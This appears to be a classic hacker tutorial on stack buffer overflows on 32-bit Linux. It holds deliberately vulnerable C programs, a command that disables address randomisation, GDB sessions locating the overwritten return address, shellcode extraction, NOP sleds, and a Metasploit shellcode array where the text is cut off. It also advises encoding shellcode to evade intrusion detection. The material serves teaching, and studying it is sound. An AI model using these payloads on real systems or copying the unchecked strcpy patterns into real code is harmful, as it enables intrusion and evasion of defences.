.-::Buffer Overflows, a peek under the hood v1.0::-.
by Zapotek
zapotekzsp[at]gmail.com
[ 0x00 ] Chapters
================================================
[ 0x01 ] Prologue
[ 0x02 ] Terms & Conventions
[ 0x03 ] Tools, Environment & Prerequisites
[ 0x04 ] Basic Theory
[ 0x05 ] Buffers
[ 0x06 ] Boundaries
[ 0x07 ] Return Address/EIP
[ 0x08 ] Vulnerable Functions
[ 0x09 ] Shellcode
[ 0x0a ] NOP sleds
[ 0x0b ] Basic Example
[ 0x0c ] Restricted Characters
[ 0x0d ] Other examples
[ 0x0e ] Basic Buffer Overflow & Exploit Example
[ 0x0f ] Vulnerable TCP/IP server & Exploit code
[ 0x10 ] Epilogue
================================================
[ 0x01 ] Prologue
===============================================
Many papers and exploits have been published regarding buffer overflow vulnerabilities.
Buffer overflows are one of the most hazardous bugs ever, and very liekly to occur as well.
Everyone, in one way or another, has written code vulnerable to an overflow attack.
Furthermore, people enthused in IT security are afraid of the term and think of it as
something impossible to master.
That's why I decided to write this paper, to illustrate in a simple manner,
how buffer overflows work, how dangerous they are and --of course-- how to exploit them.
After reading this paper you will still be far from a buffer overflow master,
but you'll have a fairly good understanding about how they work.
I will not try to cover everything nor get into advanced exploitation techniques,
instead, I'll try to keep it as simple and comprehensible as possible.
[ 0x02 ] Terms & Conventions
===============================================
It would be significantly easier to understand what is written here if you have a basic grasp
of terms and conventions used in this text.
target:
============
A system running the vulnerable service/application which we are about to attack.
exploit/sploit:
===============
A piece of code used to compromise the target.
EIP:
============
Extended Instruction Pointer
Is the memory register which holds the RET address.
RET address:
============
Is the address which is responsible for an application's execution flow.
It is updated by every operation, when that operation is completed, and is read by the next operation
in order, for the next operation, to know where to continue from.
OPCODEs:
========
OPCODEs (OPeration CODEs) are CPU instructions, binary code, encoded into hexadecimal format
Blocks between:
"*********************************************************************************************"
contain code.
Blocks between:
"---------------------------------------------------------------------------------------------"
contain shell output or other preformatted text.
[ 0x03 ] Tools, Environment & Prerequisites
===============================================
In oder for the examples presented here to be functional your system must comply with the following:
CPU:
====
Intel 8086 (x86) 32bit
Operating System:
=================
Linux with a 2.6.x kernel.
Other versions might work, I can't guarantee anything though.
Get it from: http://www.kernel.org/
Compiler:
=========
gcc 4.1.0 and higher
I'm pretty sure any other version will work, it's just that v.4.1.0 is what I used to develop the examples.
Get it from: http://gcc.gnu.org/
Debugger:
=========
GDB v6.4 will be used throughout this text so it's better to have it.
Get it from: http://www.gnu.org/software/gdb/
Dissasembler:
=============
GDB will be used, mainly, but "objdump" is more convenient when it comes to extracting
OPCODEs from executables for the shellcode.
Get it from: http://www.gnu.org/software/binutils/
Perl:
======
Perl will be used for some examples due to it's ease of use and effectiveness.
Basicaly, I'll use it just because I couldn't get bash to stop messing with the shellcode's encoding. :P
Get it from: http://http://www.perl.org/
Chances are you already have all that software installed but better make sure.
A basic knowledge of the C programming language is needed.
It would help if you have a fairly good understanding of memory management and x86 assembler,
but that's not that important at the comment.
Also, base conventions will be needed so if you can't read hex get a calculator.
Moreover, hexadecimal ASCII codes will be used so if you can't ,
once more, read hex get a converter or see http://www.neurophys.wisc.edu/www/comp/docs/ascii.html .
Also be sure that the bellow command is run before continuing further:
---------------------------------------------------------------------------------------------
echo 0 > /proc/sys/kernel/randomize_va_space && ulimit -c unlimited
---------------------------------------------------------------------------------------------
Moreover, on the "[ 0x0f ] Vulnerable TCP/IP server & Exploit code" chapter the TCP/IP server might
need to be run as root or an account that has "bind()" privileges.
Nothing else is required.
Remember that this text will teach you only the very basic stuff which will take place in a perfect realm,
in the real world one must have a GREATER amount of knowledge to exploit buffer overflows.
Let's start making these baby steps now.
[ 0x04 ] Basic Theory
===============================================
This part is very boring so I'll try to keep it short.
[ 0x05 ] Buffers
===============================================
The term 'buffer' represents an array of data, most times characters.
Buffers are either dynamic or static depending on how they are declared in the code.
Static buffer:
*********************************************************************************************
#include <stdio.h>
int main(int argc, char *argv[])
{
/*
static buffer of 10 bytes, initialized at program load and stored
in the data segment
*/
char buffer[10]="qwertyuio";
// some more code
return 0;
}
*********************************************************************************************
Dynamic buffer:
*********************************************************************************************
#include <stdio.h>
int main(int argc, char *argv[])
{
/*
dynamic buffer of 10 bytes, initialized at run-time and stored
in the stack
*/
char buffer[10];
/*
we are using the buffer now and forcing it to hold whatever
argv[1] is holding
*/
strcpy(buffer,argv[1]);
// some more code
return 0;
}
*********************************************************************************************
[ 0x06 ] Boundaries
===============================================
Boundaries are borders that enclose a memory area.
You are probably thinking:
"But, if boundaries exist buffer overflows shouldn't."
Well, don't bet on it.
Thing is, many C functions which have to do with data copying/reading don't do any boundary checks,
so if an array is declared to hold 10 bytes, a boundary-unsafe function can force it to store 15,
for example, which will cause an error in the execution flow called "Segmentation Fault".
Lets see another code example :
*********************************************************************************************
#include <stdio.h>
int overflow(char *str){
/*
dynamic buffer of 10 bytes, initialized at run-time and stored
in the stack
*/
char buffer[10];
/*
we are using the buffer now and forcing it to hold whatever
str is holding
*/
strcpy(buffer,str);
return 0;
}
int main(int argc, char *argv[])
{
// our vulnerable function
overflow(argv[1]);
// some more code
return 0;
}
*********************************************************************************************
We are using the "strcpy()" function [ man 3 strcpy ], in our overflow function, which copies the data stored in "str" into "buffer".
We have declared "buffer" to hold up to 10 bytes of data.
Can you imagine what will happen if "argv[1]" contains more than that?
Let's say 15 bytes, or maybe a lot more?
Let's see:
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer holds: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
zapotek@lil-z:/Documents/bo>
---------------------------------------------------------------------------------------------
Hey, what do you know! We got a seg fault!
"But what the hell a seg fault is?", you're thinking.
A seg fault occurs because we overwrote part of the memory used
by the program that is critical for it's execution.
You see, whenever something happens in the program it leaves an address in memory,
called RET (return) address in the EIP (Extended Instruction Pointer),
so that the next operation can continue from there.
If that address is invalid, execution stops and we get a seg fault.
Run the "ulimit -c unlimited" command --to enable core dumps-- and lets see what really happens:
[a] If we supply input under 10 bytes, which the program can handle.
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaa
Buffer holds: aaaaaa
zapotek@lil-z:/Documents/bo>
---------------------------------------------------------------------------------------------
Nothing happens, no error, everything runs smoothly.
[b]If we supply the prog with input longer than 10 chars:
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer holds: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
zapotek@lil-z:/Documents/bo>
---------------------------------------------------------------------------------------------
This time we have a core dump to study and find out what went wrong.
It's time to move to the next chapter!
[ 0x07 ] Return Address
===============================================
In simple words, every time the program performs an operation, when that operation completes,
it updates the EIP register with a new address, the RET, return, address.
Then the next operation will read the EIP and continue from where the last operation left off.
The RET points somewhere in memory where an instruction, command, lies.
So, the program runs smoothly without missing data nor instructions.
[ 0x08 ] Vulnerable Functions
===============================================
C has many functions that don't do any boundary checking, a list follows:
getchar read a character from STDIN
gets read a string from STDIN
scanf read formatted input from
sprintf write formatted output to a buffer
fread read from a file
fgets get a string of characters from a stream
memcpy copies one buffer to another
memmove moves one buffer to another
memset fills a buffer with a character
strcat concatenates two strings
strcpy copies one string to another
strncat concatenates a certain amount of characters of two strings
strncpy copies a certain amount of characters from one string to another
Basically, any function that copies/reads/moves memory segments is unsafe,
so you must always do boundary checks on your own.
[ 0x09 ] Shellcode
===============================================
That's a very hard part and we will not get into it that much.
Maybe on another text, but not on this one.
Long story short, a shellcode is a set of machine code, binary, encoded into Hexadecimal format, OPCODEs.
This set of OPCODEs are concatenated into a NULL terminated string.
As you can understand it cannot contain any NULL (0x00) characters in it as they will corrupt the
shellcode in a manner that it'll terminate it before it's real ending, when we are trying to exploit
a character buffer that is.
If for example a shellcode contains a NULL in the middle only half the shellcode will be executed.
That's because NULLs are used as end of string indicators.
[ 0x0a ] NOP sleds
===============================================
A NOP (No OPeration) instruction can be any instruction that doesn't affect the execution flow.
We usually use the "0x90" OPCODE (Operation CODE) for that.
A NOP-sled is a string of repeated NOPs.
This:
---------------------------------------------------------------------------------------------
0x900x900x900x900x900x900x900x900x90
---------------------------------------------------------------------------------------------
is a NOP-sled and that:
---------------------------------------------------------------------------------------------
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
---------------------------------------------------------------------------------------------
is the same.
"Why do we even use NOPs, they just take up space from the really useful shellcode!"
Well, yes they do, BUT keep in mind that the shellcode is provided to the program
using some input method and then stored somewhere in memory.
We don't know where, that's where the NOP-sled comes in handy, a big NOP-sled
increases our odds of guessing the right RET address.
Since NOPs do nothing, using any address that points anywhere in our NOP-sled
the execution flow will eventually reach our shellcode.
Example:
If the string we pass to the application is:
---------------------------------------------------------------------------------------------
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x43\x65\x87\xe3\x4df0000000
---------------------------------------------------------------------------------------------
and our shellcode is,
---------------------------------------------------------------------------------------------
\x43\x65\x87\xe3\x4d
---------------------------------------------------------------------------------------------
and 0xf0000000 is the address of the begging of the NOP-sled,
the CPU will just continue to the next OPCODE, and then the next, and the next, and the next and it will,
eventually, execute our shellcode.
That's pretty useful, huh?
Note that the part of the string that overwrites the EIP is not always the last 4 bytes, the above is just an example.
[ 0x0b ] Basic Example
===============================================
We already clarified that a shellcode is a set of CPU instructions (OPCODEs) coded in a Hexadecimal format.
"WTF dude you want us to learn binary and then convert the code to hex?"
LMAO! Of course not.
Lets say that we want a shellcode that will execute the "uname -a" UNIX comand.
We must first write the program in C, you can choose another language but I like C.
shellcode.c
*********************************************************************************************
int main( )
{
execve("uname -a");
exit(0);
}
*********************************************************************************************
That easy, matter of fact it's just a 40 character long one-liner:
shellcode.c
*********************************************************************************************
int main(){execve("uname -a");exit(0);}
*********************************************************************************************
Hehehehehe.....
OK, let's get dirty.
(Keep in mind that we need to use the "--static" flag when compiling to include libraries and functions
in the binary)
Lets disassemble "main":
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> gcc --static shellcode.c -o shellcode
zapotek@lil-z:/Documents/bo> ./shellcode
Linux lil-z 2.6.16.13-4-smp #1 SMP Wed May 3 04:53:23 UTC 2006 i686 i686 i386 GNU/Linux
zapotek@lil-z:/Documents/bo> gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
---Type <return> to continue, or q <return> to quit---
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048248 <main+0>: lea 0x4(%esp),%ecx
0x0804824c <main+4>: and $0xfffffff0,%esp
0x0804824f <main+7>: pushl 0xfffffffc(%ecx)
0x08048252 <main+10>: push %ebp
0x08048253 <main+11>: mov %esp,%ebp
0x08048255 <main+13>: push %ecx
0x08048256 <main+14>: sub $0x4,%esp
0x08048259 <main+17>: movl $0x809d748,(%esp)
0x08048260 <main+24>: call 0x804db30 <execve>
0x08048265 <main+29>: movl $0x0,(%esp)
0x0804826c <main+36>: call 0x80489d0 <exit>
0x08048271 <main+41>: nop
0x08048272 <main+42>: nop
0x08048273 <main+43>: nop
0x08048274 <main+44>: nop
0x08048275 <main+45>: nop
0x08048276 <main+46>: nop
0x08048277 <main+47>: nop
0x08048278 <main+48>: nop
0x08048279 <main+49>: nop
0x0804827a <main+50>: nop
0x0804827b <main+51>: nop
0x0804827c <main+52>: nop
0x0804827d <main+53>: nop
0x0804827e <main+54>: nop
0x0804827f <main+55>: nop
End of assembler dump.
(gdb)
---------------------------------------------------------------------------------------------
"Cool! We have our C coded turned into x86 assembler language!"
But that's just the "main" function,
we want the "execve" function which lets us execute system commands.
Let's go one more time:
---------------------------------------------------------------------------------------------
(gdb) disas execve
Dump of assembler code for function execve:
0x0804db30 <execve+0>: push %ebp
0x0804db31 <execve+1>: mov %esp,%ebp
0x0804db33 <execve+3>: mov 0xc(%ebp),%ecx
0x0804db36 <execve+6>: push %ebx
0x0804db37 <execve+7>: mov 0x10(%ebp),%edx
0x0804db3a <execve+10>: mov 0x8(%ebp),%ebx
0x0804db3d <execve+13>: mov $0xb,%eax
0x0804db42 <execve+18>: call *0x80b6bbc
0x0804db48 <execve+24>: mov %eax,%ecx
0x0804db4a <execve+26>: cmp $0xfffff000,%ecx
0x0804db50 <execve+32>: ja 0x804db55 <execve+37>
0x0804db52 <execve+34>: pop %ebx
0x0804db53 <execve+35>: pop %ebp
0x0804db54 <execve+36>: ret
0x0804db55 <execve+37>: mov $0xffffffe8,%eax
0x0804db5a <execve+42>: neg %ecx
0x0804db5c <execve+44>: mov %gs:0x0,%edx
0x0804db63 <execve+51>: mov %ecx,(%edx,%eax,1)
0x0804db66 <execve+54>: mov $0xffffffff,%eax
0x0804db6b <execve+59>: jmp 0x804db52 <execve+34>
0x0804db6d <execve+61>: nop
0x0804db6e <execve+62>: nop
0x0804db6f <execve+63>: nop
End of assembler dump.
(gdb)
---------------------------------------------------------------------------------------------
But, hey, don't we want it in hexadecimal?"
Yeah we do, and we can manage that using gdb again,
by giving it the command "x/bx main", and then continue hitting return until we reach the "<main+59>" part.
(The rest are just NOPs.)
See it in action:
---------------------------------------------------------------------------------------------
(gdb) x/bx main
0x8048248 <main>: 0x8d
(gdb)
0x8048249 <main+1>: 0x4c
(gdb)
0x804824a <main+2>: 0x24
(gdb)
0x804824b <main+3>: 0x04
.......
(gdb)
0x804827f <main+43>: 0x90
---------------------------------------------------------------------------------------------
Still, we need "execve" not "main" so:
---------------------------------------------------------------------------------------------
(gdb) x/bx execve
0x804db30 <execve>: 0x55
(gdb)
0x804db31 <execve+1>: 0x89
(gdb)
0x804db32 <execve+2>: 0xe5
(gdb)
0x804db33 <execve+3>: 0x8b
.......
(gdb)
0x804db6f <execve+63>: 0x90
(gdb)
---------------------------------------------------------------------------------------------
We could have used the "objdump" disassembler as well, and we would've extracted
the shellcode without hassle, but I prefer to keep the amount of tools used in minimum.
Example follows:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> objdump shellcode -d
08048248 <main>:
8048248: 8d 4c 24 04 lea 0x4(%esp),%ecx
804824c: 83 e4 f0 and $0xfffffff0,%esp
804824f: ff 71 fc pushl 0xfffffffc(%ecx)
8048252: 55 push %ebp
8048253: 89 e5 mov %esp,%ebp
8048255: 51 push %ecx
8048256: 83 ec 04 sub $0x4,%esp
8048259: c7 04 24 c8 dd 09 08 movl $0x809ddc8,(%esp)
8048260: e8 1b 0f 00 00 call 8049180 <__libc_system>
8048265: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804826c: e8 5f 07 00 00 call 80489d0 <exit>
8048271: 90 nop
8048272: 90 nop
8048273: 90 nop
8048274: 90 nop
8048275: 90 nop
8048276: 90 nop
8048277: 90 nop
8048278: 90 nop
8048279: 90 nop
804827a: 90 nop
804827b: 90 nop
804827c: 90 nop
804827d: 90 nop
804827e: 90 nop
804827f: 90 nop
0804e1a0 <__execve>:
804e1a0: 55 push %ebp
804e1a1: 89 e5 mov %esp,%ebp
804e1a3: 8b 4d 0c mov 0xc(%ebp),%ecx
804e1a6: 53 push %ebx
804e1a7: 8b 55 10 mov 0x10(%ebp),%edx
804e1aa: 8b 5d 08 mov 0x8(%ebp),%ebx
804e1ad: b8 0b 00 00 00 mov $0xb,%eax
804e1b2: ff 15 1c 73 0b 08 call *0x80b731c
804e1b8: 89 c1 mov %eax,%ecx
804e1ba: 81 f9 00 f0 ff ff cmp $0xfffff000,%ecx
804e1c0: 77 03 ja 804e1c5 <__execve+0x25>
804e1c2: 5b pop %ebx
804e1c3: 5d pop %ebp
804e1c4: c3 ret
804e1c5: b8 e8 ff ff ff mov $0xffffffe8,%eax
804e1ca: f7 d9 neg %ecx
804e1cc: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
804e1d3: 89 0c 02 mov %ecx,(%edx,%eax,1)
804e1d6: b8 ff ff ff ff mov $0xffffffff,%eax
804e1db: eb e5 jmp 804e1c2 <__execve+0x22>
804e1dd: 90 nop
804e1de: 90 nop
804e1df: 90 nop
---------------------------------------------------------------------------------------------
The outputs are the OPCODE equivalents of the assembler instructions.
So if we gather them up we have 2 strings.
One for "main":
---------------------------------------------------------------------------------------------
0x8d0x4c0x240x040x830xe40xf00xff0x710xfc0x550x890xe50x510x830xec
0x040xc70x040x240x480xd70x090x080xe80xcb0x580x000x000xc70x040x240x00
0x000x000x000xe80x5f0x070x000x000x900x900x900x90
---------------------------------------------------------------------------------------------
which won't do us much good, we must replace every "0x" with "\x" and we will end up with:
<main>:
---------------------------------------------------------------------------------------------
\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x83\xec
\x04\xc7\x04\x24\x48\xd7\x09\x08\xe8\xcb\x58\x00\x00\xc7\x04\x24\x00
\x00\x00\x00\xe8\x5f\x07\x00\x00\x90\x90\x90\x90
---------------------------------------------------------------------------------------------
and one for "execve":
---------------------------------------------------------------------------------------------
0x550x890xe50x8b0x4d0x0c0x530x8b0x550x8b0x5d0x080xb80x0b0x000x000x00
0xff0x150xbc0x6b0x0b0x080x890xc10x810xf90x000xf00xff0xff0x770x030x5b
0x5d0xc30xb80xe80xff0xff0xff0xf70xd90x650x8b0x150x000x000x000x000x89
0x0c0x020xb80xff0xff0xff0xff0xeb0xe50x900x900x90
---------------------------------------------------------------------------------------------
and also convert it to:
<execve>:
---------------------------------------------------------------------------------------------
\x55\x89\xe5\x8b\x4d\x0c\x53\x8b\x55\x8b\x5d\x08\xb8\x0b\x00\x00\x00
\xff\x15\xbc\x6b\x0b\x08\x89\xc1\x81\xf9\x00\xf0\xff\xff\x77\x03\x5b
\x5d\xc3\xb8\xe8\xff\xff\xff\xf7\xd9\x65\x8b\x15\x00\x00\x00\x00\x89
\x0c\x02\xb8\xff\xff\xff\xff\xeb\xe5\x90\x90\x90
---------------------------------------------------------------------------------------------
That's our shellcode!
But we have some NULLs (0x00) in there, that's not good!
Anyway, I got carried away with the shellcode stuff, you can use shellcode encoders which will eliminate NULLs
and possibly any other character you tell them.
We can test the shellcode using this code:
shellcode.c
*********************************************************************************************
unsigned char shellcode[]=
"Shellcode here!";
int main(void) { ((void (*)())shellcode)(); }
*********************************************************************************************
Just replace the shellcode with yours.
"But hey you said that if the shellcode has NULLs it won't work!?!?"
Yes I did, given that we are going to exploit a character buffer,
in the test code we are not exploiting. We are just putting the shellcode into memory and let the CPU execute it.
Moving on.....
[ 0x0c ] Restricted Characters
===============================================
We already mentioned the NULL character,
and why it's not supposed to be a part of the shellcode when we are exploiting character buffers.
Some other characters you might want to watch out for are:
[i] NOPs
[ii] Any other OPCODE
"Are you crazy? Without OPCODEs we have no shellcode!"
No, I haven't gone crazy.
There are a lot of people out there with IDSs waiting for someone to hit.
100bytes of NOPs in HTTP packets mean that someone is attacking a web server and an IDS will see that with no problem.
It will also see any OPCODE, I mean, a legitimate http packet wont contain OPCODEs, so your busted again.
"So you made me read ALL that crap for nothing?!?!?!?!?!?!"
Dude chill, remember the encoders we talked about?
You can even encode shellcode into mIxEdCaSe ASCII characters.
Our shellcode:
---------------------------------------------------------------------------------------------
\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x83\xec
\x04\xc7\x04\x24\xe0\x84\x04\x08\xe8\xf3\xfe\xff\xff\xc7\x04\x24
\x00\x00\x00\x00\xe8\x07\xff\xff\xff\x90\x90\x90
---------------------------------------------------------------------------------------------
can be expressed as:
---------------------------------------------------------------------------------------------
IIIIIIIIIIIIIIIIII7jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIcHehRDsHp4rCpxtrTtcHVPp4CHf
Xp3D8e5Dt4856DpPxpfRFT8Dwtq1hQvpcahp5wEPxuhWIT8pep50xWEvQsH4xP3pxq
u3SBX6Pp42X1sfWPx4ptt0xebp4t8u5Tp0xFXp4QhTpvTPxfP08rX1uvXRXavVSPxRFS
U0xPf2FCHU61vCHQsP7T8tp04t8GBVTBX6PfPpxtpp0PxdpfPQhS6PD8Qu6Xqh6Pdw
qhU63VQhRFQvPxqv0fpxp9VPqhwI4pRXUiDpA
---------------------------------------------------------------------------------------------
It takes up more space but at least you'll not spend the night in the pen, if you know what I'm sayin'. ;)
[ 0x0d ] Other examples
===============================================
I won't write any shellcodes myself, I'll just include some well know websites.
http://www.milw0rm.com/shellcode/
http://shellcode.org/shellcode/
http://metasploit.com:55555/PAYLOADS
We're done with the shellcodes, I think you got the idea.
Now to the good stuff!
[ 0x0e ] Basic Buffer Overflow & Exploit Example
=================================================
Let's get back to our dumped core from our overflowed "tmp.vuln" program from chapter "0x06".
Run "gdb -c core ./tmp.vuln" and follow my lead.
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> gdb -c core ./tmp.vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
---Type <return> to continue, or q <return> to quit---
Program terminated with signal 11, Segmentation fault.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb) i r eip
eip 0x61616161 0x61616161
(gdb)
---------------------------------------------------------------------------------------------
Using the "i r eip" command we can see our overwritten EIP which holds the new, and invalid, RET address.
In case you wonder, "i r" stands for "info registers".
GDB is kind enough to allow us to use command name abbreviations if they are unambiguous.
"EIP" is the register which holds the RET (return) address, so "i r eip" spits out "EIP"'s content.
Earlier, we said that when an operation is completed it updates the RET address in EIP with the new one,
so the next operation will know from where to take over.
And in this example we filled the EIP with "0x61616161".
If you look up "61" in the ASCII codes table, in hex, you will see it resolve to the "a" character.
Ergo the RET address holds "aaaa".
"Hey! We flood the input with a lot of "a"s! What a coincidence!"
Yeah, right. That's the whole purpose!
"So if we can overwrite the EIP, doesn't that mean that we can instruct the program to continue from wherever we want it to????"
Yep, pretty much. And that is what makes buffer overflow exploits work. :)
One problem though, we sent an awful lot of "a"s, how do we know in what place the four "a"s that overwrote the EIP were?
That's sad, really, for now we will have to just find it by trial and error.
Let's start the torture, well not really because 10 bytes is a very small buffer.
The basic idea is to use a string pattern, an md5 or sha1 hash would to the job,
however if the buffer we want to overflow is 300bytes you will need a lot of hashes. :P
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln 01234567890qwertyuiopasdfghjkl
Buffer holds: 01234567890qwertyuiopasdfghjkl
Segmentation fault (core dumped)
zapotek@lil-z:/Documents/bo> gdb -c core ./tmp.vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./tmp.vuln 01234567890qwertyuiopasdfghjkl'.
Program terminated with signal 11, Segmentation fault.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x75797472 in ?? ()
(gdb)
---------------------------------------------------------------------------------------------
EIP now holds "0x75797472".
Converted to ASCII that's "uytr".
And we sent the "01234567890qwertyuiopasdfghjkl"string to our program.
"But, hold on, "uytr" isn't in there."
Well, it is, it's just backwards. GDB gives us the addresses in the big-endian format,
while we are using an Intel x86 32bit CPU which stores data using the little-endian format.
For more info on endianness see http://en.wikipedia.org/wiki/Endianness.
So, "uytr" becomes "rtyu".
And the string becomes "01234567890qwe::::iopasdfghjkl".
I'm using ":" to indicate where the 4 bytes that overwrite the EIP must be placed.
"OK, that's all pretty nice but how can we execute stuff?"
At the previous chapter we discussed shellcodes, that's how.
The current buffer is too small to fit any shellcode so let's use something else:
vulnerable.c
*********************************************************************************************
#include <stdio.h>
int overflow(char *str){
/*
dynamic buffer of 10 bytes, initialized at run-time and stored
in the stack
*/
char buffer[272];
/*
we are initializing the buffer now and forcing it to hold whatever
str is holding
*/
strcpy(buffer,str);
printf("Buffer holds: %s\n",buffer);
return 0;
}
int main(int argc, char *argv[])
{
// our vulnerable function
overflow(argv[1]);
// some more code
return 0;
}
*********************************************************************************************
This time we must use a lot of crap to overflow the buffer!
We will use this string:
---------------------------------------------------------------------------------------------
0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211c
cdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1
294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f94115
71a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac
35a3185180ada4be
---------------------------------------------------------------------------------------------
It's a mix of md5 & sha1 hashes, it's pretty efficient really...
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> ./vulnerable 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211ccdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f9411571a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac35a3185180ada4be
Buffer holds: 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211ccdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f9411571a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac35a3185180ada4be
Segmentation fault (core dumped)
zapotek@lil-z:~/Documents/bo> gdb -c core ./vulnerable
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vulnerable 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf'.
Program terminated with signal 11, Segmentation fault.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x63613136 in ?? ()
(gdb) i r eip
eip 0x63613136 0x63613136
(gdb)
---------------------------------------------------------------------------------------------
Nice, we got us a seg fault and a RET address.
As you can see our RET is "0x63613136" which decodes to "ca16" and written in little-endian is "61ac".
Bingo! That's our RET address.
If you search the hash pattern we used you'll find it:
---------------------------------------------------------------------------------------------
0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211c
cdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1
294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f94115
71a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf!!!!
35a3185180ada4be
---------------------------------------------------------------------------------------------
I replaced the 4 bytes that overflowed the EIP with "!"s.
But that's a VERY ugly way to find out which characters overwrote the EIP.
It's time to discuss memory structure.
Memory Structure:
---------------------------------------------------------------------------------------------
Unallocated space buffer EIP Other registers
[ ][ ][ ][ ]
unknown size 272bytes 4bytes unknown size
---------------------------------------------------------------------------------------------
So this means that if we add 4 more bytes than the buffer can hold,
these 4 bytes will overwrite the EIP.
Now, let's get us a shellcode! (Not mine cuz it's crappy and won't work :P )
*********************************************************************************************
/*
Shellcode taken from the metasploit project
It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec - CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x64"
"\x96\x2c\xed\x83\xeb\xfc\xe2\xf4\x0e\x9d\x74\x74\x36\xf0\x44\xc0"
"\x07\x1f\xcb\x85\x4b\xe5\x44\xed\x0c\xb9\x4e\x84\x0a\x1f\xcf\xbf"
"\x8c\x90\x2c\xed\x64\xfa\x5f\xcd\x49\xfa\x2c\xba\x37\x1f\xcd\x20"
